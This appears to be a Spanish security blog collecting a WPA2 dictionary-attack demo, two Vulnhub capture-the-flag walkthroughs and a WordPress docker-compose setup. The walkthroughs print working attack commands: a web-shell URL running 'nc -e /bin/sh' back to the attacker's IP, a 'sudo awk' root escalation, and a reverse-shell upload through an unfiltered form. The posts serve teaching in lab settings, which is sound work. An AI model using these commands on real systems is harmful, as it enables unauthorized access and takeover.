Mi número de identificación, mi contraseña

¿Quiénes de ustedes creen que es buena idea tener como contraseña su número de identificación (en otros países es el equivalente a Cédula de ciudadanía, DNI, ID, número de identificación, etc)? Bien, pues para aquellos que creen que es una gran contraseña, emprenderemos una trepidante aventura, con un laboratorio sencillo para demostrar que no lo es.

Antes que nada, veamos cuáles podrían ser los motivos por los cuáles alguien podría usar su número de identificación como contraseña:

  • Longitud: En Colombia, los números de identificación oscilan entre 8 y 10 caracteres y 8 son el mínimo exigido por muchos sistemas.
  • Fácil de recordar: Es nuestro número de identificación y lo necesitamos para casi todo, no nos podríamos olvidar de este dato tan fácilmente.
  • Personal: Sólo nosotros mismos nos sabemos este número, nadie va a andar por la vida aprendiéndose el número de identificación ajeno ¿O sí?
  • Sistemas laxos: Aunque me da la impresión que cada vez es menos frecuente, aún hay sistemas que no son estrictos con las políticas de asignación de contraseñas.

Consideraciones antes empezar

  • Habrá un par de elementos un poco técnicos, pero, para los no técnicos, por favor no pierdan el foco de lo que vamos a hacer: comprobar que no se debe usar el documento de identificación como contraseña.
  • Lo más común es que los números de identificación (por lo menos en Colombia), estén entre 10.000.000 y 1.111.111.111, sin embargo, por ser sólo una prueba de concepto, acortaremos el rango de documentos entre 40.000.000 y 89.000.000.
  • No vamos a escribir uno por uno cada documento (son 50.000.000 en el rango que elegimos), he creado un pequeño script en python que facilita el trabajo, basta con correr python3 dict.py > dict.txt para que el listado quede guardado en un archivo de texto llamado dict.txt, que a partir de ahora, nos referiremos como “diccionario”.

    #!/usr/bin/python3

    def dictionary():

       start = 40000000
       end = 90000000

       for i in range(start,end):
               print (i)


    if __name__ == "__main__":
       dictionary()

Armando el laboratorio

Para nuestro objetivo, he utilizado un router casero, como el que todos tenemos en casa, he configurado una red WiFi llamada “computadoresycafe” (Ja!, seguro no se esperaban ese nombre) y como contraseña elegí un número al azar dentro del diccionario, la seguridad será WPA2-PSK, que, es el común denominador en la mayoría de redes inalámbricas domésticas y algunas corporativas.

Script de python en una línea para elegir un número aleatorio en el rango seleccionado.
Configuración de red. Clave censurada porque vamos a adivinarla.
Red wifi configurada y lista para ser atacada.

Ahora bien. no describiré todo el proceso, ni mostraré el paso a paso, como es costumbre acá, siento que estaría empujando a alguien a hacer cualquier tontería y no quiero sentirme responsable por tonterías, más que por las mías y en la bastedad de internet realmente hay un montón de tutoriales que describen todo paso a paso. Sin embargo resumiré los pasos que se llevan a cabo y el resultado final.

Identificar nuestro objetivo

Es lo primero que necesitaremos, debemos identificar cuál será la red inalámbrica que utilizaremos para nuestro cometido, adicional necesitaremos la MAC del dispositivo, pero nada de nervios, no necesitamos acceder a ninguna arte oscura para obtenerlo, el programa que se utiliza para estas cosas hace todo por uno.

Monitorear

Bien, ahora sólo debemos monitorear qué sucede en la red que estamos atacando, básicamente necesitamos que alguien se conecte a esta, ¿por qué? fácil, cuando alguien se conecta a una red wifi, la contraseña viaja “por el aire” entre un dispositivo conectado y el router, el router valida que la contraseña sea correcta y ahí permite la conexión, a todo este proceso se le llama handshake.

Como ya se dijo, se debe esperar pacientemente a que alguien se conecte a la red en específico, o se puede forzar una desconexión entre alguien que ya lo esté, para que se tenga que reconectar, da igual el método, lo importante es obtener el dichoso handshake.

Se podría pensar que la contraseña se podría obtener si capturamos los paquetes que “viajan por el aire”, sin embargo esta va cifrada, por lo cual nos vamos al siguiente punto.

Ataque de diccionario

Este es el paso final, a grandes rasgos y de manera muy amplia, lo que debemos es comparar las 50.000.000 líneas que contiene nuestro diccionario, cifrarlo como se cifraría el handshake y compararlo con el que se capturó. Por supuesto, todo esto es automatizado, no tenemos que preocuparnos por nada, más que por escribir una línea de comando y esperar pacientemente.

Como podemos ver, este proceso tardará alrededor de unas 3 horas, entonces, mientras esto se ejecuta, vamos por un café…

Y después después de transcurrido un tiempo, logramos encontrar la contraseña de la red inalámbrica

La cual, por supuesto coincide con la contraseña configurada en nuestro router y podemos conectarnos a dicha red.

Preguntas que (espero) puedan surgir a partir de esto:

  • ¿Sólo me veo afectado si uso ese rango de números?
    RTA:
    No, esta prueba de concepto aplica para cualquier rango de números y de cualquier longitud.
  • ¿Es grave que un desconocido se conecte a mi red inalámbrica sin autorización?
    RTA:
    Sí, si alguien mal intencionado se conecta a una red inalámbrica puede ejecutar muchos otros ataques que pueden poner en riesgo la seguridad y la privacidad de una red.
  • Si agrego letras o símbolos a mi contraseña ¿estaré protegido?
    RTA:
    Parcialmente, una contraseña robusta puede dificultar este tipo de ataques, sin embargo, la premisa es que no hay un sistemas completamente seguro.
  • ¿Este ataque sólo aplica para redes inalámbricas?
    RTA:
    No, esto es sólo un ejemplo, usar números como contraseña hace vulnerables correos electrónicos, contraseñas de sitios web, redes sociales y demás.

Cierre

Espero que esta entrada haya sido de utilidad y de reflexión acerca de las contraseñas que utilizan en su día a día. ¿les surge alguna otra pregunta después de ver esto? ¿tienen algún otro motivo por el cuál usarían su número de identificación como contraseña? los invito a dejarlo en los comentarios y si quieren, ya saben que pueden invitarme a un café.

Walkthrough Doubletrouble Parte I

Introducción

He querido continuar con esta serie de entradas resolviendo máquinas virtuales vulnerables, esta he que traído hoy, se llama doubletrouble y aunque tiene un nivel de dificultad bastante fácil, me ha gustado porque demuestra que cuando en un sistema hay presentes deficiencias de configuración y software desactualizado con vulnerabilidades, puede ser el desencadenante de una gran tragedia.

Reconocimiento

Como siempre, el objetivo de este tipo de máquinas vulnerables por defecto, es lograr comprometerla y obtener privilegios máximos en el sistema (root). y para empezar, haremos un escanneo a la red para encontrar la IP de la máquina víctima:

Con la IP de la máquina víctima, procedemos a revisar qué puertos tiene abiertos y comenzar a indagar un poco sobre el objetivo:

Encontramos dos puertos comunes abiertos en esta clase de máquinas, el 22, para conexiones SSH y el 80, que corresponde a un servicio web, entonces comencemos explorando por ahí.

En efecto nos presenta una página web, con un formulario de ingreso, y encontramos por varias partes “pdPM”, que posiblemente sea la aplicación instalada, con una pequeña búsqueda en google, comprobamos que es un gestor de proyectos web. Aprovechando que en la página de inicio nos muestran la versión instalada, es un buen momento para buscar vulnerabilidades de este software.

Como podemos ver, hay varios exploits interesantes, por ejemplo algunos nos permiten ejecución remota de comandos (RCE), pero necesitamos credenciales de acceso. También vemos que hay un exploit que nos permite ver las credenciales sin estar autenticados, sin embargo, las credenciales expuestas, no funcionan ni para acceder a la aplicación, ni para ingresar por SSH.

Aunque pareciera que estamos atascados, vamos a aplicar una enumeración de directorios sobre el servidor y revisar si hay alguna información o directorio que podamos utilizar.

Hay varios directorios bastante llamativos, por ejemplo, (y les adelanto), en el directorio “secret” hay una imagen, que contiene unas credenciales ocultas con esteganografía, que permite resolver el reto de manera mucho más fácil, sin embargo, aquí no hacemos eso.

Aquí no hacemos eso - Avengers - Plantilla de Meme

El principio del fin

Así que nos centraremos en el directorio “install”, al acceder a el, veremos que nos permite realizar una nueva instalación del software, lo cual ya lo hace bastante peligroso.

Ahora tenemos que configurar la base de datos, intenté usar las credenciales expuestas pero, una vez más, no funcionaron, así que decidí crear un contenedor de docker con una imagen de mariadb.

Hecho esto, después de dar clic en “database config” podemos poner, tanto la IP del servidor (que es la misma IP del atacante), el puerto, que por defecto es 3306, el nombre de la base de datos y las credenciales que definimos al crear el contenedor, por último daremos clic en “install database”.

Finalizando la configuración, podremos poner las nuevas credenciales de acceso, he decidido dejar el usuario que pone por defecto y la contraseña “pwned”, el resto lo dejamos tal cual y finalizamos dando clic en “save”.

En resumen

Hasta el momento no hemos explotado ninguna vulnerabilidad de software, cambiamos la configuración del software para que apunte a una base de datos a una controlada por nostros y poder generar un usuario y contraseña válido de acceso al sistema, ¿para qué? ¡exactamente! poder usar los exploit de ejecución remota de comandos que nos pide autenticación. Esto lo hemos hecho aprovechando un error de configuración del administrador del sistema. Al finalizar la instalación e ingresar con el usuario y contraseña definida, vemos cómo hay una alerta que pide que sea borrado el directorio “install”, el administrador no ha hecho esto y es lo que nos permite ejecutar nuestro siguiente paso.

Explotando vulnerabilidades

Volviendo a la búsqueda de los exploits disponibles para el software qdpm he decidido usar y descargar el 50175

Antes de ejecutar el exploit, vale la pena revisar su código para entender un poco qué es lo que hace, en primera instancia, vemos que hay un campo vulnerable, es “photo”, y que allí cargará un archivo llamado “backdoor.php” y que a través del parámetro “cmd” en una petición get, ejecutará el comando que deseemos.

Nota: Otra de las razones para revisar el código, es que está desordenado y hay que corregir unos cuantos saltos de línea. (Y porque siempre es bueno revisar qué se está ejecutando, para no llevarse sorpresas de algún tipo 😉 )

En otra parte del código, veremos que la cuenta de administrador no servirá para explotar la vulnerabilidad, ya que no tiene una página denominada “my account”

Entonces procederemos a crear una nueva cuenta, daremos clic en “add user” y llenamos los campos necesarios, como contraseña he vuelto a elegir “pwned” y damos clic en save.

Nota: recuerden que reciclar contraseñas no es una buena práctica y que esto lo hago únicamente para efectos de demostración, por favor no lo intenten en casa 😉

Ejecutando el exploit vemos los argumentos que necesita para ejecutarse correctamente:

Entonces procederemos a completarlos y ejecutar el exploit:

Como vemos, nos dice que el exploit se ejecutó correctamente y aunque nos da una ruta para ejecutarlo, esta no es correcta, así que nos dirigiremos a http://10.0.2.22/uploads/users y veremos nuestro backdoor

Ahora ya podemos ejecutar comandos a través del parámetro “cmd”, por ejemplo:

Obteniendo una shell

Ahora que podemos ejecutar comandos, podemos obtener una shell reversa y así desplazarnos mejor por el sistema, comenzamos por poner abrir un puerto con netcat en la máquina atacante:

Desde el navegador iremos a la url http://10.0.2.22/uploads/users/387007-backdoor.php?cmd=nc%20-e%20/bin/sh%2010.0.2.15%20666 que nos entablará la conexión, volvemos a nuestra terminal y veremos esto

Haremos un tratamiento de la terminal para obtener una shell interactiva, no pulicaré imágenes, pero los pasos son los siguientes:

script /dev/null -c bash
presionar ctrl + z

stty raw -echo; fg
reset
xterm
export TERM=xterm
export SHELL=bash

Con esto obtendremos algo así:

Escalando privilegios

Como vemos, ya hemos ganado acceso a la máquina vulnerable, podemos ejecutar comandos y ahora nos queda convertirnos en superusuario (root), que es lo más fácil de todo este proceso. Podemos ejecutar el comando sudo -l para poder ver qué se puede ejecutar como root, veremos que podemos usar awk como superusuario y sin contraseña.

Así que podemos usar gtfobins para ver cómo podemos elevar privilegios con awk y encontramos el comando sudo awk 'BEGIN {system("/bin/sh")}' lo retocamos un poco, para poder usar bash y tendremos sudo awk 'BEGIN {system("/bin/bash")}', al ejecutarlo, veremos que ya somos root, con lo cual, habremos completado el desafío.

Conclusiones

Ha sido un largo camino, no tanto en la resolución de la máquina, pero sí en la redacción y posiblemente en la lectura, entonces no quiero extenderme más, pero hemos visto cómo un atacante mal intencionado podría afectar una empresa aprovechándose de software desactualizado, con vulnerabilidades o de errores de configuración, es importante seguir las recomendaciones que da el fabricante a la hora de implementar un nuevo software y realizar un constante monitoreo a vulnerabilidades conocidas o nuevas que se puedan presentar en los sistemas que se administran.

Espero que se hayan divertido o aprendido algo nuevo, nos vemos en la próxima entrada.

Walkthrough INO: 1.0.1 Parte II

Bienvenidos a la segunda parte de este reto, en la primera parte, le dimos solución completa al reto, que consistía en encontrar las dos banderas, una como usuario normal y la siguiente como superusuario (root).

En esta segunda entrada, de manera breve, veremos un par de caminos alternos que se hubieran podido tomar para solucionar este reto.

En la aplicación web que encontramos en el servidor web, pudimos ingresar con el usuario y contraseña por defecto, aún así, realizando una búsqueda en exploit-db, encontramos que la aplicación tiene una vulnerabilidad de inyección SQL, que nos permite ingresar como administradores al panel de la aplicación.

Cuando buscaba la forma de elevar privilegios, encontré que en el servidor se corría otro sitio web, una aplicación llamada inoERP, que también tiene una vulnerabilidad crítica que permite ejecutar comandos y por la cuál también podríamos obtener una shell en el sistema.

Si se preguntan cómo era posible encontrar esto antes de ganar la shell por el método utilizado en la parte uno, la respuesta es sencilla, valiéndonos de esta falla de inyección SQL y explorando la base de datos, encontraremos la URL del sitio:

Por último, si se optara intentar la inyección SQL, se debe tener en cuenta que dentro de la máquina virtual se ejecuta la aplicación fail2ban que detectará el ataque y bloqueará la IP del atacante.

Y bien, con esto doy por cerrado completamente este ejercicio, si tienen alguna duda al respecto, dejen un comentario y lo revisaré lo más pronto posible. Gracias por llegar hasta acá y nos vemos pronto.

Walkthrough INO: 1.0.1

Introducción

En esta entrada daremos solución la máquina virtual INO 1.0.1 de vulnhub, esta es una máquina virtual de nivel fácil y el objetivo es encontrar las dos banderas, una de usuario y otra como superusuario (root). En esta entrada veremos el método que utilicé para completar los objetivos, revisando y analizando varios hallazgos, encontré que hay diferentes formas de cumplir el desafío, así que en otra publicación, revisaremos estos otros caminos y sin extendernos mucho, algunas fomas de abordarlos. Por ahora, comenzarmos con el desarrollo del ejercicio.

Conociendo al objetivo

Para empezar, debemos identificar la IP de la máquina, con nmap:

Ahora con la IP identificada, veremos qué servicios están corriendo sobre la máquina:

Como vemos, hay acceso por SSH y está corriendo un servidor web, así que vamos a ver qué contiene este último:

Podemos observar que es una especie de página web para hacer reservas de lotes, en la imagen he seleccionado algo me llamó la atención, que fue publicado por Sourcecodester, pensé que era una jugarreta del creador de la máquina para añadir algo de realismo al ejercicio, sin embargo decidí visitar la página y encontré que es un sitio que se dedica a compartir código de manera libre, así que pensé que podría bajarme el código y ver si podría encontrar alguna inyección SQL o vulnerabilidad que pudiera aprovechar, sin embargo encontré algo que me facilitó mucho más el trabajo, la URL del panel de administración y el usuario y contraseña por defecto del portal:

Con esa información en mente, quise probar que si funcionaban las credenciales por defecto, como ya lo había contado antes en esta historia, muchos administradores son descuidados y no cambian las contraseñas que vienen predefinidas de las aplicaciones que implementan y como se observa a continuación, funcionó a la perfección:

Ya hemos ganado acceso al panel de administración, pero hasta ahora vamos comenzando. Vayan alistando su café.

Preparativos

Para poder ganar acceso al servidor, usaremos una shell de conexión inversa, personalmente uso esta de pentestmonkey.net, sólo basta con editar los detalles de IP y puerto de conexión, tal como lo indican en su página web:

Por otro lado, en mi máquina, prepararemos el puerto de escucha por el cuál se hará la conexión:

Iniciando el ataque

Lo primero que debemos hacer es encontrar la forma de subir nuestra shell, explorando un poco encontré un escenario que me parece perfecto para esto:

En el caso ideal, este formulario debería poder filtrar el tipo de archivo que se está intentando subir (para que no ocurra lo que va a suceder a continuación) y que sólo permita subir imágenes, sin embargo eso no pasa y acá es donde aparecerá la magia:

Después de cargar la shell, se nos redirigirá al listado de casas modelo y todo se ve aparentemente normal, excepto porque donde escribí shell.php, es donde se ejecuta nuestra shell

Si nos devolvemos a la terminal que preparamos con el puerto 666 a la escucha, veremos que nuestra conexión está establecida con éxito: Como dirían en algunas películas con escenas de hackers: “estamos dentro”.

Antes de continuar, ejecutaremos un comando en python, para tener una shell interactiva:

Obteniendo la bandera de usuario

En la ruta /home/ppp encontramos un archivo llamado local.txt y su contenido es nuestra primera bandera, nada complicado.

Escalando privilegios

Esta parte fue bastante complicada y debo aceptar que logré resolverla por un golpe de suerte, buscando algún ejecutable con el cual pudiera elevar permisos, encontré que usan pppd para trabajar con el protocolo ppp:

Teniendo en cuenta esto, decidí revisar la configuración del demonio en la ruta /etc/ppp y ver si podía leer el archivo que tiene guardadas las credenciales de acceso:

Revisando el archivo chap-secrets tenemos la contraseña del usuario ppp, que coincide con uno de los usuarios que tienen acceso de shell:

Como ya vimos, este administrador del sistema no es muy riguroso con su política de contraseñas, entonces podríamos intentar iniciar sesión con esas credenciales.

Nota importante: al inicio del ejercicio la máquina virtual tenía la IP 192.168.0.130, pero en la imagen aparece la 192.168.0.9, esto pasa porque después de un reinicio de mi ordenador, las direcciones cambiaron.

Estamos próximos a terminar, desde esta sesión veremos si tenemos alguna forma de ejecutar comandos como sudo y en efecto, observamos que sin contraseña nos permite usar el comando useradd, que, como nos dicta la intuición, nos permite agregar un nuevo usuario al sistema:

Dando una mirada a al manual de useradd (man useradd) encontré las opciones que se necesitan para poder ejecutar el comando con éxito:

  • -m para crear el directorio del usuario
  • -g el grupo al que se va a añadir al usuario
  • -p la contraseña (que ya debe venir cifrada con la función crypt)

Para poder cifrar la contraseña, como dice el manual, se debe usar la función crypt, para entender cómo funciona, me apoyé de este blog, la contraseña que hemos elegido para esta importante tarea de (in)seguridad será -irónicamente- la infame 12345678:

Ahora debemos revisar qué grupos hay disponibles, como vemos, nuestro nuevo usuario lo podemos agregar al grupo de usuarios de sudo. Ya podemos ir saboreando la victoria:

Últimos detalles

Agregaremos el usuario con los parámetros que ya hemos definido y después de ejecutar el comando confirmamos que nos haya quedado dentro de la lista de usuarios:

Nos cambiaremos de usuario, digitamos la contraseña y vemos que ya tenemos una sesión con nuestro usuario rebel:

Ahora, elevaremos permisos, digitamos la contraseña del usuario y el símbolo # nos indica que somos superusuarios. (root)

Obteniendo la bandera de root

En la ruta /root tenemos el archivo proof.txt que nos indica que hemos cumplido todos los objetivos de nuestro reto:

Conclusiones

No quiero extenderme mucho más, ha sido bastante largo de desarrollar, escribir y editar esta entrada, sin embargo, hemos podido ver los errores más comunes de un administrador de sistemas, los cuales pueden poner el peligro la seguridad no sólo de un sistema, sino de una red completa.

Nos vemos en la segunda parte de esta publicación, con las observaciones y algunas alternativas de solución de este reto. ¡Hasta la próxima!

¿Cómo construí este sitio?

Como lo comenté en las generalidades acerca de este blog, uno de mis obejtivos es enseñar las cosas que he aprendido y sobre las que me vaya formando.

La existencia de este espacio obedece a algo sobre lo que he ido estudiando: el proyecto docker y también a la época de cuarentena por los estragos que causó el COVID-19 (A la fecha en la que escribo esta entrada, aún nos encontramos en cuarentena). Hace un tiempo había oído hablar del proyecto Docker, pero nunca había despertado en mí ningún tipo de interés.

Un día me encontraba buscando la forma de realizar transmisiones en vivo a múltiples plataformas en mi faceta como DJ y hallé una solución que significaba bajar una imagen de Docker y correrla en un contenedor, no entendía muy bien de lo que me estaban hablando así que me dispuse a aprender en el camino y voilá, fracasé rotundamente, no lograba hacer correr la aplicación que necesitaba.

Yo siempre he sido alguien de la vieja escuela, fanático de las máquinas virtuales y los entornos de pruebas, no concebía que alguien me ahorrara todo el trabajo de instalar requerimientos, configurarlos y poner a andar la aplicación tan sólo con unas cuantas de líneas de comando. Finalmente después de mucho investigar, logré poner a andar el servidor que necesitaba, claro no sin antes descargar la ISO del sistema operativo, instalar la máquina virtual, configurar repositorios, actualizar el sistema base, instalar la aplicación, bajar los módulos adiciones. Con mi aplicación ya corriendo, estaba feliz, sin embargo, me quedó el mal sabor de boca del fracaso con Docker.

Otro buen día, estaba buscando una documentación acerca de una solución que estaba implementando en el lugar donde trabajo y me encontré con que tenía una imagen en Docker, pero esta vez era diferente, porque había un paso a paso muy completo descrito por Pelado Nerd en su canal de youtube. Y no sólo eso, explorando sus vídeos encontré un completísimo curso de introducción a Docker, que en últimas es lo que hizo posible que construyera este sitio.

No entraré en muchos detalles acerca de la instalación de Docker y Docker compose, ni su uso, el Pelado nerd ya lo hizo y no creo que sea capaz de superar su explicación, así que sin más preambulo, vamos a la obra.

Decidí usar como motor de base de datos mariadb y como CMS wordpress, junto con un certificado SSL generado por letsencrypt, así que el archivo docker-compose en YAML se ve más o menos así:

docker-compose.yaml
version: "2"
services:
#Todos los servicios que se monten están detrás del proxy
 nginx-proxy:
  image: jwilder/nginx-proxy
  restart: always
  ports:
   - "80:80"
   - "443:443"
  volumes:
  #Socket de docker y volúmenes necesarios para el proxy
   - /var/run/docker.sock:/tmp/docker.sock:ro
   - /ruta/de/certificados:/etc/nginx/certs:ro
   - /etc/nginx/vhost.d
   - /usr/share/nginx/html
  #Etiquetas  
  labels:
   - com.github.jrcs.letsencrypt_nginx_proxy_companion.nginx_proxy
#Imagen para generar los certificados gratuitos con letsencrypt
 letsencrypt:
  image: jrcs/letsencrypt-nginx-proxy-companion
  restart: always
  volumes:
   - /ruta/de/certificados:/etc/nginx/certs:rw
   - /var/run/docker.sock:/var/run/docker.sock:ro
  volumes_from:
   - nginx-proxy:rw
#Motor de la base de datos
 db:
  image: mariadb:10.5.2
  volumes:
   - /ruta/de/basedatos:/var/lib/mysql
  restart: always
  environment:
   MYSQL_ROOT_PASSWORD: XXXXX
   MYSQL_DATABASE: nombre_base_datos
   MYSQL_USER: usuario_wordpress
   MYSQL_PASSWORD: password_usuario
#CMS del blog
 wordpress:
  depends_on:
   - db
  image: wordpress:php7.4-apache
  expose:
   - "80"
   - "443"
  restart: always
  environment:
   WORDPRESS_DB_HOST: db:3306
   WORDPRESS_DB_USER: usuario_wordpress
   WORDPRESS_DB_PASSWORD: password_usuario
   WORDPRESS_DB_NAME: nombre_base_datos
  volumes:
   - /ruta/de/archivos/cms:/var/www/html/
#Variables de entorno para el proxy y letsencrypt
  environment:
   - VIRTUAL_HOST=computadoresycafe.com,www.computadoresycafe.com
   - LETSENCRYPT_HOST=computadoresycafe.com,www.computadoresycafe.com
   - [email protected]

Y ya está, luego de editar el archivo, corremos el docker-compose con el siguiente comando:

Sin título
docker-compose up -d

Y ya con esto tenemos una copia de wordpress lista para trabajar con mariadb en menos de 20 minutos, solo basta con que accedan desde el navegador al dominio del sitio, finalicen las configuraciones requeridas.

Al ingresar por primeza vez a la URL del sitio vermos algo así

Espero haya sido bastante constructiva esta entrada, nos vemos en la próxima.